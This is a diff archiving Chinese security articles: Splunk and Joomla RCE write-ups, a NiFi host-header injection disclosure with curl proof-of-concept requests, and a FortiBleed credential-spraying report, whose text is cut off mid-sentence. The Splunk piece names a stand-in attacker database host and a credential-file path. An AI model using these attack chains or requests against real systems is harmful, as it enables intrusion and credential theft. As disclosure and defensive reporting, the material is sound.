diff --git a/data.json b/data.json index 1c9732b9..2428f1a0 100644 --- a/data.json +++ b/data.json @@ -21319,5 +21319,16 @@ "https://mp.weixin.qq.com/s/Nph5bsoQ4k1L1Et3m_2mqQ": "CVE-2026-31635 | Linux内核RxGK\"DirtyCBC\"本地权限提升漏洞", "https://mp.weixin.qq.com/s/C4TMWcOt5mGUlTdJgkZ9KQ": "CVE-2026-41940 cPanel∕WHM 认证绕过漏洞复现", "https://mp.weixin.qq.com/s/uu5K1UMDvRHO2B15oVI1Rg": "WordPress关键插件漏洞或致100万个网站遭文件删除攻击", - "https://mp.weixin.qq.com/s/dqxTTN52Gfmavr1XFEbyQA": "新型iPhone BootROM漏洞永久性破坏信任链，A12∕A13芯片无法修复" + "https://mp.weixin.qq.com/s/dqxTTN52Gfmavr1XFEbyQA": "新型iPhone BootROM漏洞永久性破坏信任链，A12∕A13芯片无法修复", + "https://mp.weixin.qq.com/s/NvJ2CrtzY178xBil_FEyZA": "某2026最新去水印小程序文件上传漏洞组合拳", + "https://mp.weixin.qq.com/s/k8XNVtK4eAqIGCMe_FtkLg": "CVE-2026-48907｜Joomla JCE编辑器扩展未授权远程代码执行漏洞（POC）", + "https://mp.weixin.qq.com/s/MqklPO57H1Ff302leFQWSg": "CVE-2026-20253｜Splunk Enterprise PostgreSQL Sidecar未授权远程代码执行漏洞（POC）", + "https://mp.weixin.qq.com/s/ka0Da4Wc6ZB57tppsPZXXQ": "FortiBleed 漏洞暴露一场全球性凭证喷洒攻击行动", + "https://mp.weixin.qq.com/s/CCiFESTBkXIvMEfWeiVOiQ": "[安全周报] $1000 挖出 21 个 0day + 11.6 亿次撞库破 8.6 万台防火墙——2026 年漏洞的\"发现\"和\"利用\"，同周进入量产", + "https://mp.weixin.qq.com/s/VmOFXqZWZWC8fHdI7gRsVw": "CVE-2026-54665：Apache NiFi 中的预认证主机头注入漏洞", + "https://mp.weixin.qq.com/s/cNFfbZJhBcgJcd2SaE8SVg": "代码执行+模型被盗！盘点谷歌云Vertex AI存储桶抢注Bug的底层前沿姿势", + "https://mp.weixin.qq.com/s/FgJfXm5qaBIkTtycQ2qBUw": "usbliter8：苹果 A12∕A13 BootROM 硬件漏洞的完整利用路径", + "https://mp.weixin.qq.com/s/18n9iv7uMZ40-WkW63-SnA": "别一条条看了！我把Burp流量全喂给AI，自动标出越权漏洞", + "https://mp.weixin.qq.com/s/ZFYqdHDc0lfVX7UiTy2kFg": "[漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升", + "https://mp.weixin.qq.com/s/TtZZ1Syu4yNeVb41FITaKg": "CNNVD通报OpenClaw多个安全漏洞" } \ No newline at end of file diff --git a/doc/2026-06/CNNVD通报OpenClaw多个安全漏洞.md b/doc/2026-06/CNNVD通报OpenClaw多个安全漏洞.md new file mode 100644 index 00000000..a3bd1ff5 --- /dev/null +++ b/doc/2026-06/CNNVD通报OpenClaw多个安全漏洞.md @@ -0,0 +1,52 @@ +# CNNVD通报OpenClaw多个安全漏洞 +CNNVD + CNNVD 苏说安全 2026-06-20 23:00 + +![](https://mmbiz.qpic.cn/mmbiz_gif/rhsQ9Zdul6ia8J72W1VEKKHgh8cyiagzoyyHN48oVlucmNj3PsLyQsZyuIyyVM73C6ntVGN0T9ouKyuOVeo1w7oA/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HKSVeyPbhxRBPib0L9ZyYqCdpLtJmVLqmeUPuicGCwzyHgxz0yBJhicyr4YLtrOOspJUu2kBl6AwdFhPNDDjWE6UTYjeXYocmX5GEYE7xgo3pE/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HKSVeyPbhxQ6fZHQjE7kOYY18KVdqRmO1g2TpkNePZLpdIeS7gyUvwBNbjfOeJ4hy0nW6WibezMNxpN8RttL0C1kSqHOWwkOOGcssnMicBhK4/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HKSVeyPbhxRwJlibiaPj4qBuspKeEF4orqj6vndCybWeBXpFzqxlZnGLurPY0Aq5kqzZxgAfNHSq7IUa3C0zY8UTGRruzd9AmXuVQ8M04TDwI/640?wx_fmt=jpeg&from=appmsg "") + + +-END- +[](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247493203&idx=1&sn=c0f0a75345541380ea0168d894a095b7&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_gif/rhsQ9Zdul6h0zGyibPD97X56ABUAlsArHRLbGnO3850XHPCtWT95ka4saD6UibbwEsCs8iapW3At1yV4zWaHAw6ZA/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&randomid=cnthni6r&tp=webp "") + +- [三部门公布《网络数据安全风险评估办法》](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494145&idx=1&sn=0cf834d9f5d129c76ca7c290a7bd2dfd&scene=21#wechat_redirect) + + +- [一图读懂《中国个人信息保护报告(2025)》](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494140&idx=1&sn=b7bd420f3fcce4b30e7c00ad0a218fdd&scene=21#wechat_redirect) + + +- [GB/T 36959-2026等保测评机构能力新要求](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494129&idx=1&sn=2fc7f7c5542c7ee1a47c4cfcc7146458&scene=21#wechat_redirect) + + +- [网安人必看 | 什么是“合规性”](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494122&idx=1&sn=7ef5998ea63095dc673bccd3cbc36b77&scene=21#wechat_redirect) + + +- [金融信息服务数据分类分级指南](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494115&idx=1&sn=4adcba64cbc7e2a398bf155fee516c07&scene=21#wechat_redirect) + + +- [安全公司到底该不该养售前](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494108&idx=1&sn=9cbd553ff4f2c3acd424416c561cd2d5&scene=21#wechat_redirect) + + +- [如何避免AI大模型“顺着你说”？](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494098&idx=1&sn=fb6b707f04a616985406687424f0cb50&scene=21#wechat_redirect) + + +- [人工智能应用安全指引 卫生健康(征求意见稿)](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494091&idx=1&sn=d0e801e3b9e4ce1b3bd74ee16d6e3790&scene=21#wechat_redirect) + + +- [人工智能应用安全指引 教育行业(征求意见稿)](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494086&idx=1&sn=9b8cb45e606b4172f7d2a95e808f54fb&scene=21#wechat_redirect) + + +- [安全保障评估框架 第2部分：安全保障要求](https://mp.weixin.qq.com/s?__biz=Mzg5OTg5OTI1NQ==&mid=2247494079&idx=1&sn=85d3ff27c24657c9beca959fb5d00d61&scene=21#wechat_redirect) + + + + diff --git a/doc/2026-06/CVE-2026-20253｜Splunk Enterprise PostgreSQL Sidecar未授权远程代码执行漏洞（POC）.md b/doc/2026-06/CVE-2026-20253｜Splunk Enterprise PostgreSQL Sidecar未授权远程代码执行漏洞（POC）.md new file mode 100644 index 00000000..8c955724 --- /dev/null +++ b/doc/2026-06/CVE-2026-20253｜Splunk Enterprise PostgreSQL Sidecar未授权远程代码执行漏洞（POC）.md @@ -0,0 +1,72 @@ +# CVE-2026-20253｜Splunk Enterprise PostgreSQL Sidecar未授权远程代码执行漏洞（POC） +alicy + alicy 信安百科 2026-06-21 12:00 + +## 0x00 前言 + + +Splunk Enterprise 是一款企业级实时数据分析和监控平台，主要用于收集、索引和搜索机器生成的数据（如日志、事件、指标等），帮助组织实现安全监控、IT运维管理（ITOps）、应用性能监控和业务分析等场景。它采用分布式架构，支持从本地服务器、云端到混合环境的多种部署方式，通过其强大的搜索处理语言（SPL）让用户能够快速查询和分析海量数据，并借助仪表板、告警和机器学习功能实现自动化洞察与响应，被广泛应用于安全运营中心（SOC）、DevOps 和合规审计等领域。 + +## 0x01 漏洞描述 + + +该漏洞的根因在于 Splunk Enterprise 的 PostgreSQL Sidecar 服务（splunk-postgres）的 HTTP API 端点完全缺少身份认证控制（CWE-306）。该 Sidecar 进程监听在本地回环地址的 5435 端口，但 Splunk 主 Web 应用（监听在所有网络接口的 8000 端口）充当反向代理，将请求转发至 Sidecar API，且未添加任何额外的身份认证层。攻击者可通过以下两个核心端点实现完整的 RCE 利用链： + +端点一：/v1/postgres/recovery/backup — 调用 pg_dump 命令，接受 database 和 backupFile 两个参数。backupFile 参数存在路径遍历缺陷，可写入任意文件系统位置；database 参数被直接传递给 pg_dump 的位置参数，而 PostgreSQL 的 libpq 将其解释为连接字符串，攻击者可通过 hostaddr=attacker.db.example.com 将数据库连接重定向至攻击者控制的外部 PostgreSQL 服务器，从而将攻击者控制的数据库转储写入 Splunk 服务器文件系统。 + +端点二：/v1/postgres/recovery/restore — 调用 pg_restore 命令，将转储文件中的 SQL 语句恢复到本地 Splunk PostgreSQL 实例。攻击者利用 Splunk 本地存储的 .pgpass 凭据文件（路径为 /opt/splunk/var/packages/data/postgres/.pgpass，包含 postgres_admin 用户的明文密码）完成身份认证，使攻击者控制的 SQL 在本地数据库中执行。通过 PostgreSQL 的 lo_export 大对象导出函数，攻击者可将任意内容写入文件系统任意位置。 + +## 0x02 CVE编号 + + +CVE-2026-20253 + +## 0x03 影响版本 + +``` +10.2.0 <= Splunk Enterprise < 10.2.4 +10.0.0 <= Splunk Enterprise < 10.0.7 +``` + +## 0x04 漏洞详情 + + +![](https://mmbiz.qpic.cn/mmbiz_png/v50ePV9iaVJwgS7NZDINjDK8Z15TayjecL3b8nAXficXDFUE3phEvkRwVBbdJfkDlHgI7Uf0XSjh4eydWS5VRibNn6Y7ogoarHZiaYDZEYVQiaPQ/640?wx_fmt=png&from=appmsg "") + +## 0x05 参考链接 + + +https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253 + +https://advisory.splunk.com/advisories/SVD-2026-0603 + + + + +推荐阅读： + + +[CVE-2026-50751｜Check Point VPN身份验证绕过漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486763&idx=2&sn=30e090af9fd6acc4d3fd0524ae5f471b&scene=21#wechat_redirect) + + + +[CVE-2026-4480｜Samba打印子系统远程代码执行漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486746&idx=1&sn=0e870bceb88a0af22487bb8055f010f7&scene=21#wechat_redirect) + + + +[CVE-2023-40595｜Splunk Enterprise 远程代码执行漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247484541&idx=2&sn=780021abd93aedd8613f4cf12e0cb2b2&scene=21#wechat_redirect) + + + + + +Ps：国内外安全热点分享，欢迎大家分享、转载，请保证文章的完整性。文章中出现敏感信息和侵权内容，请联系作者删除信息。信息安全任重道远，感谢您的支持 +![](https://mmbiz.qpic.cn/mmbiz_png/Whm7t4Je6urTIficI8UhQibwpYWx4ic7Bk40AJlXrgx3icofWCbd5cbJFheld132R8exvlHnicn0AUjHLmVok4wV9qA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + +！！！ + + +**本公众号的文章及工具仅提供学习参考，由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用者本人负责,本公众号及文章作者不为此承担任何责任。** + +![](https://mmbiz.qpic.cn/mmbiz_png/Whm7t4Je6uqQ24S6worK6npevNP8p1uPc9jQeMAib2iaibBnibOzFaIbD0KlvsEtUAmL3xdbJJnWk74Y1KfBcIazzw/640?wx_fmt=png "") + diff --git a/doc/2026-06/CVE-2026-48907｜Joomla JCE编辑器扩展未授权远程代码执行漏洞（POC）.md b/doc/2026-06/CVE-2026-48907｜Joomla JCE编辑器扩展未授权远程代码执行漏洞（POC）.md new file mode 100644 index 00000000..3474dc19 --- /dev/null +++ b/doc/2026-06/CVE-2026-48907｜Joomla JCE编辑器扩展未授权远程代码执行漏洞（POC）.md @@ -0,0 +1,86 @@ +# CVE-2026-48907｜Joomla JCE编辑器扩展未授权远程代码执行漏洞（POC） +alicy + alicy 信安百科 2026-06-21 12:00 + +## 0x00 前言 + + +Joomla +是一套自由、 +开放源代码 +的内容管理系统，以PHP撰写，用于发布内容在万维网与内部网，通常被用来搭建商业网站、个人博客、信息管理系统、Web 服务等，还可以进行二次开发以扩充使用范围。其功能包含可提高性能的页面高速缓存、RSS馈送、页面的可打印版本、新闻摘要、博客、投票、网站搜索、与语言国际化。 + + +Joomla Content Editor（JCE）是由 Joomla Content Editor 团队开发的一款功能强大的编辑器扩展，是 Joomla 生态中最受欢迎的内容编辑组件之一。JCE 提供了丰富的编辑功能，包括图片管理、文件浏览器、媒体嵌入、源代码编辑器等，广泛应用于基于 Joomla CMS 构建的企业网站、门户和内容管理平台。 + +## 0x01 漏洞描述 + + +该漏洞的根因是 JCE 扩展配置文件导入功能中存在三个独立缺陷的链式组合，共同构成了完整的攻击路径。漏洞类型为访问控制不当（CWE-284）。 + + +缺陷一：导入操作缺少身份认证。JCE 的配置文件导入端点 /index.php?option=com_jce&task=profiles.import 在 2.9.99.5 之前的版本中未进行任何用户身份验证。该端点唯一的访问控制是 CSRF Token 检查，而 Joomla 在所有公共页面（包括首页）的 HTML 源码和 JavaScript 变量中公开了该 Token，攻击者可通过简单的 GET 请求获取。 + + +缺陷二：无文件扩展名校验。导入功能在处理上传文件时，仅使用 File::makeSafe() 对文件名进行字符清理，但该函数不检查文件扩展名。攻击者可上传 .php、.php5、.phtml 或双扩展名文件（如 .xml.php），Apache 的 mod_php 模块会将最后一个可识别的 PHP 扩展名作为执行依据。 + + +缺陷三：上传安全机制被显式禁用。Joomla 的 File::upload() 方法内置了危险扩展名黑名单（.php、.php3-.php7、.phtml、.exe 等），但 JCE 调用时将第四个参数 $allow_unsafe 设置为 true，显式关闭了这一安全防护。 + +## 0x02 CVE编号 + + +CVE-2026-48907 + +## 0x03 影响版本 + +``` +Joomla Content Editor (JCE) < 2.9.99.5 +``` + +## 0x04 漏洞详情 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/v50ePV9iaVJy8tmWZh05qkFicNsHicdzFa2qQ9twqkAcicmhyJjCiaECtOc1YWpQ5VUdQTictJACAhzyLPNzNAdhWGuibbq5zpLugCSiaM6kO9EYKkA/640?wx_fmt=png&from=appmsg "") + +## 0x05 参考链接 + + +https://www.joomlacontenteditor.net/ + + +https://github.com/ynsmroztas/JoomlaSniper + + +https://www.yeswehack.com/news/rce-joomla-content-editor-extension + + + + +推荐阅读： + + +[CVE-2026-21630｜Joomla的SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486449&idx=2&sn=9f07ac81f43a8da3986e77d5e35b8f27&scene=21#wechat_redirect) + + + +[CVE-2024-21726｜Joomla存在多个XSS漏洞（结合自定义模版可RCE）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247484990&idx=2&sn=4d1f700ad0937638e21def31e34e48e2&scene=21#wechat_redirect) + + + +[CVE-2026-48842｜Roundcube Webmail插件SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486729&idx=1&sn=57898dd6f18796b9ffca6d6bbec4f87e&scene=21#wechat_redirect) + + + + + +Ps：国内外安全热点分享，欢迎大家分享、转载，请保证文章的完整性。文章中出现敏感信息和侵权内容，请联系作者删除信息。信息安全任重道远，感谢您的支持 +![](https://mmbiz.qpic.cn/mmbiz_png/Whm7t4Je6urTIficI8UhQibwpYWx4ic7Bk40AJlXrgx3icofWCbd5cbJFheld132R8exvlHnicn0AUjHLmVok4wV9qA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + +！！！ + + +**本公众号的文章及工具仅提供学习参考，由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用者本人负责,本公众号及文章作者不为此承担任何责任。** + +![](https://mmbiz.qpic.cn/mmbiz_png/Whm7t4Je6uqQ24S6worK6npevNP8p1uPc9jQeMAib2iaibBnibOzFaIbD0KlvsEtUAmL3xdbJJnWk74Y1KfBcIazzw/640?wx_fmt=png "") + diff --git a/doc/2026-06/CVE-2026-54665：Apache NiFi 中的预认证主机头注入漏洞.md b/doc/2026-06/CVE-2026-54665：Apache NiFi 中的预认证主机头注入漏洞.md new file mode 100644 index 00000000..5da61e29 --- /dev/null +++ b/doc/2026-06/CVE-2026-54665：Apache NiFi 中的预认证主机头注入漏洞.md @@ -0,0 +1,214 @@ +# CVE-2026-54665：Apache NiFi 中的预认证主机头注入漏洞 + Ots安全 2026-06-21 03:55 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +CVE-2026-54665：Apache NiFi 中的预认证主机头注入漏洞 + +发布日期：2026-06-20报告日期：2026-05-15严重性：5.4 中等（基线）/ 8.1 高（使用 OIDC）状态：已在 NiFi 2.10.0 中修复CWE：CWE-444（HTTP 请求解析不一致）+ CWE-601（开放重定向） + +Apache NiFi 中存在预认证主机头注入漏洞。任何未经认证的客户端都可以发送 ``X-Forwarded-Host或 ` X-ProxyHost` 值，并且该值会被 NiFi 为 OAuth2 重定向、SAML SP 实体、CSRF cookie 域和公共端点构建的 URI 所反映出来/nifi-api/authentication/configuration。受影响版本：0.0.1 至 2.9.0。已在 2.10.0 中修复。 + +有趣的地方不在于这个 bug 本身，而在于它是如何产生的。2025 年的一次重构（NIFI-14209）删除了HostHeaderHandler之前强制执行已记录nifi.web.proxy.host十年的允许列表的组件，并用一个仅验证端口的自定义程序取而代之。重构后，允许列表仍然出现在文档和配置中，但在运行时，没有任何程序会读取主机部分。 + +![](https://mmbiz.qpic.cn/mmbiz_png/zNsFJyIuL0H9mI0icTGWHSf09hbGxJHHMSH0lYLDsWtpl4lOBTAe08SODribMIicLQo78WmHsWnhC5p1DWZ9icer7p1LSF2Emk8Q7k43KyR703M/640?wx_fmt=png&from=appmsg "") + +漏洞 + +nifi-commons/nifi-web-servlet-shared/src/main/java/org/apache/nifi/web/servlet/shared/StandardRequestUriProvider.java:97-115： + +``` +private String getHost(final HttpServletRequest request) { +    final String host; +    final String serverName = request.getServerName(); +    final String headerHost = getFirstHeader(request, +        ProxyHeader.PROXY_HOST,        // X-ProxyHost +        ProxyHeader.FORWARDED_HOST,    // X-Forwarded-Host +        ProxyHeader.HOST               // Host +    ); +    if (headerHost == null) { +        host = serverName; +    } else { +        final Matcher matcher = HOST_PATTERN.matcher(headerHost); +        if (matcher.matches()) { +            host = matcher.group(FIRST_GROUP); +        } else { +            host = serverName; +        } +    } +    return host; +} +``` + + +匹配模式为^([^:]+):?([1-9][0-9]{2,4})?$：。它接受主机部分不包含冒号的任何字符串。例如attacker.example.com：，，nifi-prod.example.com.evil-attacker.net。127.0.0.1全部匹配。没有允许列表检查。 + +对比一下同一文件getPath()往下几行的内容：它会对 `` X-ProxyContextPath、 ` X-Forwarded-Context` 和 ` ` 进行验证，并在值不在允许列表中时抛出异常。主机检查只是忘记执行同样的操作了。X-Forwarded-Prefixnifi.web.proxy.context.pathIllegalArgumentException + +**不验证主机的允许列表** + +NiFiProperties.java:1603-1614将属性解析nifi.web.proxy.host成列表： + +``` +public List getAllowedHostsAsList() { +    String rawProperty = getProperty(WEB_PROXY_HOST, ""); +    List hosts = Arrays.asList(rawProperty.split(",")); +    return hosts.stream() +            .map(this::normalizeHost) +            .filter(host -> !StringUtils.isBlank(host)) +            .collect(Collectors.toList()); +} +``` + + +唯一的调用者是FrameworkServerConnectorFactory.getValidPorts()，它仅从每个条目中提取端口，以构建 Jetty 监听器接受的端口集： + +``` +private static Set getValidPorts(final NiFiProperties properties) { +    final Set validPorts = new HashSet<>(); +    final int serverPort = getPort(properties); +    validPorts.add(serverPort); +    final List allowedHosts = properties.getAllowedHostsAsList(); +    for (final String allowedHost : allowedHosts) { +        final Matcher portMatcher = HOST_PORT_PATTERN.matcher(allowedHost); +        if (portMatcher.matches()) { +            final String portGroup = portMatcher.group(PORT_GROUP); +            final int allowedPort = Integer.parseInt(portGroup); +            validPorts.add(allowedPort); +        } +    } +    return validPorts; +} +``` + + +因此，如果操作员阅读了管理指南中关于主机配置的部分nifi.web.proxy.host，将其设置为某个值nifi.example.com,nifi-internal.example.com，并认为 NiFi 会拒绝其他主机值的请求，那就错了。NiFi 仅使用这些配置来了解哪些端口是有效的。 + +**概念验证** + +服务器：apache-nifi-2.9.0-bin.zip以默认设置启动conf/nifi.properties（仅nifi.web.https.port=18443更改以释放默认端口）。单用户模式，HTTPS 已启用127.0.0.1:18443。 + +基线： + +``` +$ curl -sk --resolve localhost:18443:127.0.0.1 -H 'Accept: application/json' \ +    https://localhost:18443/nifi-api/authentication/configuration +{"authenticationConfiguration":{"externalLoginRequired":false,"loginSupported":true, + "loginUri":"https://localhost:18443/nf/#/login", + "logoutUri":"https://localhost:18443/nifi-api/access/logout/complete"}} +``` + + +和X-Forwarded-Host： + +``` +$ curl -sk --resolve localhost:18443:127.0.0.1 -H 'Accept: application/json' \ +    -H 'X-Forwarded-Host: attacker.example.com' \ +    https://localhost:18443/nifi-api/authentication/configuration +{"authenticationConfiguration":{"externalLoginRequired":false,"loginSupported":true, + "loginUri":"https://attacker.example.com:18443/nf/#/login", + "logoutUri":"https://attacker.example.com:18443/nifi-api/access/logout/complete"}} +``` + + +和X-ProxyHost： + +``` +$ curl -sk --resolve localhost:18443:127.0.0.1 -H 'Accept: application/json' \ +    -H 'X-ProxyHost: evil.example.com' \ +    https://localhost:18443/nifi-api/authentication/configuration +{"authenticationConfiguration":{"externalLoginRequired":false,"loginSupported":true, + "loginUri":"https://evil.example.com:18443/nf/#/login", + "logoutUri":"https://evil.example.com:18443/nifi-api/access/logout/complete"}} +``` + + +值得注意的是：TLS 层 Host 头部得到了正确的控制。即使请求的Host: attacker.example.comSNI 匹配，也会被拒绝，Error 400 Invalid SNI因为 JettySecureRequestCustomizer强制执行了 SNI 对抗 Host 的机制。这种防御机制涵盖了 TLS 层 Host 头部。但它并不涵盖上面提到的两个 HTTP 应用层头部，而这两个头部正是 NiFi 前端的反向代理会从不受信任的客户端转发的头部。 + +**下游** + +RequestUriBuilder.fromHttpServletRequest()在 NiFi 框架的 26 个站点中被调用。反射主机会遍历所有这些站点。安全关键型站点包括： + +``` +请求网站                            它所构建的 +StandardOAuth2AuthorizationRequestResolver.java:97 redirect_uri已向 OIDC 身份提供商发送OAuth2请求 +StandardRelyingPartyRegistrationResolver.java:114 AuthnRequest 中的 SAML SP 实体和 ACS URI +OidcAuthenticationSuccessHandler.java:102, 105 OIDC 重定向目标 +Saml2AuthenticationSuccessHandler.java:103, 106 SAML重定向目标 +OidcLogoutSuccessHandler.java:213 OIDC 注销后重定向目标 +StandardCookieCsrfTokenRepository.java:71 CSRF cookie URI，用于推导 cookie 域 +AuthenticationResource.java:99 匿名/nifi-api/authentication/configuration回复 +FlowResource.java:398, 2621 内容查看器 URI +ApplicationResource.java:173, 187, 329 用于集群复制的请求 URI +``` + + +已验证的影响是匿名/authentication/configuration反射。值得关注的是 OAuth2 redirect_uri。对于启用了 OIDC 的部署，redirect_uri发送给身份提供商 (IdP) 的数据来自攻击者可控制的主机。如果 IdP 接受未注册的重定向 URI，或者对已注册的 URI 不进行通配符匹配（这种情况比您想象的要常见），攻击者就可以控制授权码的发送位置。这就是 5.4 版本中等影响的反射漏洞和 8.1 版本高影响的账户接管漏洞之间的区别。 + +它是如何来到这里的：NIFI-14209 + +提交ae5a77b84f5c7e5e51e85e99f1d40079dbdee5f1于 2025 年 2 月 5 日，标题为“重构主机头验证”。提交信息如下： + +将 HostHeaderHandler 替换为 HostPortValidatorCustomizer。Jetty SecureRequestCustomizer 强制执行使用服务器证书 DNS 主题备用名称 (SNI) 的主机验证。添加了针对无效主机和端口值的 TLS SNI 的测试。重构并简化了 RequestUriBuilder.fromHttpServletRequest() 方法。 + +此次删除的差异代码HostHeaderHandler.java共 318 行，是 JettyHandler之前用于处理nifi.web.proxy.host列表并拒绝主机值超出列表范围的请求的代码。替换后的代码HostPortValidatorCustomizer.java共 85 行，仅用于验证端口。 + +前提是它SecureRequestCustomizer涵盖了通过 TLS SNI 进行的主机验证。这个前提对于 TLS 层的 Host 头部来说是正确的。但它并不适用于接下来读取的两个应用层头部（`host` 和X-Forwarded-Host`host` X-ProxyHost）StandardRequestUriProvider.getHost()。重构移动了信任边界，但没有更新另一侧的读取器。 + +**受影响的版本** + +Apache NiFi 0.0.1 至 2.9.0 版本（根据官方公告，存在漏洞） + +Apache NiFi 2.10.0（已修复） + +引入此回归的 NIFI-14209 提交于 2025 年 2 月发布。2.2.0 之前的版本保留了原有的HostHeaderHandler防御机制；此回归是从该版本开始的。 + +**修复** + +NiFi 2.10.0（Jira NIFI-15953，PR #11268）重新添加了允许列表验证，这次除了 Host 标头之外X-ProxyHost，还覆盖了其他标头。此修复与之前针对 context-path 标头的处理方式一致。公告文本如下：X-Forwarded-HostgetPath() + +Apache NiFi 2.10.0 基于 nifi.web.proxy.host 属性实现了对 X-ProxyHost 和 X-Forwarded-Host HTTP 请求头的验证。启用请求头验证需要将应用程序配置为使用 HTTPS。位于 Apache NiFi 前端的反向代理服务器负责过滤输入请求头，并将允许的值提供给应用程序。 + +对于使用 2.2.0 到 2.9.0 版本且无法立即升级的运维人员，缓解措施是在反向代理上剥离这些标头X-Forwarded-Host，X-ProxyHost然后再将其传递到 NiFi。默认情况下nifi.properties不会对此发出警告；如果您在任何转发来自不受信任客户端的这些标头的服务器后运行 NiFi，请务必进行审计。 + +**披露** + +已于 2026 年 5 月 15 日提交报告，security@nifi.apache.org并附有上述实时复现步骤。Apache 方面迅速完成了漏洞分类和补丁开发。已分配 CVE 编号，PR 已合并，安全公告已于 2026 年 6 月 20 日发布。 + +**链接** + +安全公告：https://nifi.apache.org/documentation/security/#CVE-2026-54665 + +CVE 记录：https://www.cve.org/CVERecord?id= CVE-2026-54665 + +NVD：https://nvd.nist.gov/vuln/detail/CVE-2026-54665 + +jira：https://issues.apache.org/jira/browse/NIFI-15953 + +修复 PR：https://github.com/apache/nifi/pull/11268 + +CWE-444：https://cwe.mitre.org/data/definitions/444.html + +CWE-601：https://cwe.mitre.org/data/definitions/601.html + +**END** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0E0kwMoNTicxIQtMedCSSxG52IGt0Rq9Ev8kQHT8ld6Mf2IXxKZaibZkIQNN7DUj5uX3grUV1JPzFmiaKq4CgjucFuFDcUEqhIB9A/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 | +AnQuan7 (Ots安全) + diff --git a/doc/2026-06/FortiBleed 漏洞暴露一场全球性凭证喷洒攻击行动.md b/doc/2026-06/FortiBleed 漏洞暴露一场全球性凭证喷洒攻击行动.md new file mode 100644 index 00000000..405c95fb --- /dev/null +++ b/doc/2026-06/FortiBleed 漏洞暴露一场全球性凭证喷洒攻击行动.md @@ -0,0 +1,36 @@ +# FortiBleed 漏洞暴露一场全球性凭证喷洒攻击行动 +鹏鹏同学 + 鹏鹏同学 黑猫安全 2026-06-22 01:15 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DYqn7TU9icq0EIQK15CaFYa2ZUs7wvfLOkUGM13m3oBBxbtjsW2FHtwnuW6mACogEC7hKq0mDaT1HrCSL5BIYqgCvx3VibllGW3ia6nCSkh20I/640?wx_fmt=png&from=appmsg "") + +FortiBleed 并非定向针对性入侵漏洞，而是一套规模化攻击流水线。多团伙操作人员针对全球飞塔 FortiGate SSL VPN 设备发起工业化规模攻击。安全情报平台 SecurityDiscovery.com 的研究员弗拉基米尔・“鲍勃”・季亚琴科，在 2026 年 6 月偶然揪出该团伙 —— 只因攻击者自身的基础设施毫无防护、直接暴露在公网中。 + +勒索资讯网站 Ransomnews 发布的报告写道：“该团伙对 320777 个 FortiGate /remote/login + 登录接口、超 24.7 万个 Sophos 门户 /userportal + 接口开展全域扫描。随后通过自研工具 forticheck 开启 25000 个并发线程，对每台目标设备使用 3639 组基础账号密码进行凭证喷洒，总计生成 11.6 亿组登录尝试组合。” + +同期并行开展另一波攻击行动：动用 50000 个线程对 163650 台 MSSQL 数据库服务器发起总计 21 亿次爆破尝试。这并非定向情报窃取，纯粹依靠自动化工具批量作业。 + +一旦成功攻入有价值的内网节点，攻击者便植入网络嗅探器，抓取 HTTP、FTP、SMTP、LDAP 等各类明文传输协议中的账号凭证。 + +报告原文说明：“只要接入可访问的内网资产，攻击者就会部署网络嗅探程序，从 HTTP、FTP、SMTP、POP3、IMAP、LDAP、SNMP、Telnet 流量中扒取明文账号密码。截获的 Kerberos、NTLM 哈希值会上传至一套搭载 45 片英伟达 RTX 4090 显卡的哈希破解集群，由 Hashtopolis 工具统一调度跑包。” + +拿到破解后的凭证，攻击者通过 OpenConnect 工具复用截获的会话 Cookie 劫持正在运行的 VPN 会话，径直渗透至活动目录（Active Directory）。后续执行一套标准化内网掠夺操作：导出活动目录完整账号哈希、窃取文件服务器数据、盗取 Kerberos 票据、窃取组策略模板。 + +这批攻击者并非零散散客：他们在 NAT 网络后的 Kali Linux 虚拟机上操作，确保命令控制服务器不会直连受害方活动目录。团伙依托开源情报按企业营收划分目标等级，最高层级标的企业营收超 1130 